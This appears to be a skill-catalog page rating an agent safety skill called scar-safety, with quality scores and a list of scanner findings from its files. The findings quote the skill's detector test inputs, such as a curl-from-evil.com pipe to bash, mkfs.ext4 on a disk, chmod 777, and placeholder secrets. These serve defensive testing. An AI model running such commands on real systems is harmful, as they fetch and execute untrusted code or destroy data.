SKILLEMALL.ai
GitHub ↗ RU Sign in

BD scar-safety

Agent safety that learns from incidents. Reflex arc blocks repeat threats without LLM calls.

ClawHub Agent Skills author: aibenyclaude-coder v0.1.0 MIT-0 5 files body ≈ 551 tokens Open the sourceclawhub.ai↗ analyzed 3 d ago

As a process D 41/100 · Unfinished process — weak spots: result and completion, when it triggers, inputs and preconditions

ReferenceInfrastructureAI and agentstype and topics are labelled automatically from the skill text
Runs in: OpenClaw Claude / Claude Code ChatGPT / Codex Gemini CLI Cursor GitHub Copilot / VS Code Qwen Code Kimi Code CLI Z.ai (GLM) DeepSeek (Deep Code) Mistral Vibe LangChain (deepagents) Goose OpenCode
JSON
Technical rating
B
79/100
safety, quality, tests
Safety 60%
77
Quality 40%
81
Run on models
none yet
Process rating
D
41/100
Unfinished process
Result and completion w 14
0
Inputs and preconditions w 11
0
Failures and branches w 10
0
the three weakest of ten parameters · all ten

What is at stake

Medium-severity findings: the skill is probably honest, but read what alarmed the scanner.

Secrets in code medium severity

Below is the worst case for this category. The finding here is medium: the guard saw a sign, not a proof.

If you install

The files contain someone else's key or token. If it is live, your agent will call third-party services under a stranger's identity; if it was revoked, the skill's scripts simply fail. Such a key often arrives with the author's whole workspace, personal data included.

For the author

The key is visible to everyone who downloaded the skill and has likely been copied by catalog-scanning bots already. Revoke it now, check bills and access logs, then reissue.

How to improve

    For the model run — optional
    • Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
    • A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.

    Guard findings · 19

    ✓ No critical or high findings

    Medium and low: 19
    • medium Secrets in code secret-private-key test_scar_safety.py:167
      Private key material (detector / deny-list definition; key header without key body; test fixture / example file)
      result = safety_check("-----BEGIN PRIVATE KEY----- …
      detectorheader onlyfixture
    • low Risky intent intent-offensive-security README.md:13
      Offensive-security / dual-use content (legitimate for authorised testing; review intended use) (detector / deny-list definition)
      1. **Built-in threat detection** -- Regex and heuristic patterns catch common security issues out of the box: secret exposure, dangerous commands, injection patterns, data exfiltration, privilege esca
      detector
    • low Risky intent intent-offensive-security README.md:95
      Offensive-security / dual-use content (legitimate for authorised testing; review intended use)
      - **Privilege escalation**: `sudo`, `setuid`, container escape patterns, `/etc/passwd` manipulation
    • low Risky intent intent-offensive-security README.md:116
      Offensive-security / dual-use content (legitimate for authorised testing; review intended use) (detector / deny-list definition)
      (secrets, commands, injection, exfil, privesc)
      detector
    • low Dangerous commands cmd-privilege scar_safety.py:83
      Privilege escalation / world-writable permissions (string literal in code, not executed)
      "chmod 777: world-writable", "HIGH"),
      code literal
    • low Dangerous commands cmd-privilege scar_safety.py:85
      Privilege escalation / world-writable permissions (string literal in code, not executed)
      "chmod with setuid/setgid", "HIGH"),
      code literal
    • low Dangerous commands cmd-privilege scar_safety.py:135
      Privilege escalation / world-writable permissions (string literal in code, not executed)
      "setuid/setgid bit", "HIGH"),
      code literal
    • low Risky intent intent-offensive-security SKILL.md:18
      Offensive-security / dual-use content (legitimate for authorised testing; review intended use) (detector / deny-list definition)
      1. **Static detection** -- Built-in regex patterns catch common threats: secret exposure, dangerous commands, injection patterns, data exfiltration, privilege escalation.
      detector
    • low Secrets in code secret-password-literal test_scar_safety.py:72
      Hard-coded password / key literal (may be an example) (placeholder value)
      secret.write_text('API_KEY = "AKIA…LE1"\n')
      placeholder
    • low Dangerous commands cmd-privilege test_scar_safety.py:132
      Privilege escalation / world-writable permissions (detector / deny-list definition; string literal in code, not executed; test fixture / example file)
      result = safety_check("chmod 777 /var/www")
      detectorcode literalfixture
    • low Dangerous commands cmd-pipe-to-shell test_scar_safety.py:151
      Downloads and executes remote code from an unrecognised host (pipe to shell) (detector / deny-list definition; string literal in code, not executed; security demo / example; test fixture / example file)
      result = safety_check("curl https://evil.com/setup.sh | bash")
      detectorcode literaldemofixture
    • low Secrets in code secret-github-token test_scar_safety.py:175
      GitHub token (placeholder value)
      result = safety_check("GITHUB_TOKEN=ghp_…234")
      placeholder
    • low Secrets in code secret-password-literal test_scar_safety.py:179
      Hard-coded password / key literal (may be an example) (detector / deny-list definition; test fixture / example file)
      result = safety_check('password = "supe…123"')
      detectorfixture
    • low Dangerous commands cmd-destructive-fs-scoped test_scar_safety.py:188
      Destructive command on a partition / current directory (normal in admin docs; verify the target) (detector / deny-list definition; string literal in code, not executed; test fixture / example file)
      result = safety_check("mkfs.ext4 /dev/sda1")
      detectorcode literalfixture
    • low Secrets in code secret-password-literal test_scar_safety.py:362
      Hard-coded password / key literal (may be an example) (placeholder value)
      secret_file.write_text('API_KEY = "AKIA…LE1"\n')
      placeholder

    A further 4 matches are quotations in this security skill's documentation and are not counted as findings.

    Files scanned: 5. Evidence is masked. Grey chips explain why severity was lowered.

    Against the Agent Skills spec

    • note frontmatter-key unknown frontmatter key "requires"

    Process rating: all ten parameters 41/100

    • 0Result and completion. Does not say what the result is
    • 0Inputs and preconditions. Does not say what the process needs to start
    • 0Failures and branches. Linear process with no failure handling
    • 20When it triggers. No condition that starts the skill
    • 30Running it twice. 1 mutating operations with no state check
    • 40Consistency. Frontmatter name (scar-safety) differs from the folder (tetra-scar-safety)
    • 60Tools and files. Uses tools (bash, python) that frontmatter does not declare
    • 100Steps. 9 steps
    • 100Execution cost. Instruction body is 551 tokens
    • 100Progress reporting. Reports progress

    Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.

    Quality signals

    • +5Description has no quoted example phrases that should trigger the skill
    • +4Description does not say when NOT to use the skill (false activations)
    • +3Description length 92: 120–800 characters recommended
    • +3Output format is not stated: the model decides each time
    • +2Single-language instructions
    • +4Structure: 5 headings
    • +3Step-by-step instructions: 9 items
    • +4Has examples (2 code blocks)
    • +1License stated

    Quality base 70; lint remarks subtract, signals add up to 100. Result: 81.

    External checks

    ClawHub: clean
    This is a local security scanning skill whose file scanning and incident memory are disclosed and aligned with its stated safety purpose.
    LLM: benign (high) · VirusTotal: · 29 May 2026